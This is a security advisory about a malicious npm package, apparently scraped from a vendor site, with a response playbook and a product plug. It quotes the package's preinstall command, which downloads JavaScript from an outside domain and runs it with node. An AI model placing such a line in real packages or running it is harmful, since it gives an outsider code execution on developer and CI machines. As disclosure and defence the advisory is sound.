sn-internal-testjgsakjdkjadkjahnpm
Advisory published Updated
sn-internal-testjgsakjdkjadkjah is a confirmed malicious npm package (MAL-2026-6265) that executes malicious code on install (malicious versions 2.1.2, 2.1.3, 2.1.4…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in sn-internal-testjgsakjdkjadkjah (npm)
What this malware does
package.json declares a preinstall lifecycle script that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On npm install, this downloads JavaScript from poc.amanrawat.com over an unpinned, unverified URL, overwrites the package's index.js with the fetched bytes, and immediately executes them with node under the installer's user privileges. The destination is a personal domain unrelated to any legitimate publisher infrastructure, the content is mutable (whatever bytes are served at request time are executed), and there is no hash, signature, or version pin. This is a textbook install-time remote code execution dropper: the attacker controlling poc.amanrawat.com can run arbitrary code on every machine that installs this package, including developer workstations and CI systems. Package metadata (name sn-internal-testjgsakjdkjadkjah, description 'This is our internal app for testing', author amanrawat matching the fetch domain) suggests a proof-of-concept publication, but the install-time behavior is functionally identical to a malicious dropper regardless of author intent.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for sn-internal-testjgsakjdkjadkjah (5 malicious versions).
If you installed it — respond
Remove sn-internal-testjgsakjdkjadkjah from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If sn-internal-testjgsakjdkjadkjah was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks sn-internal-testjgsakjdkjadkjah-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.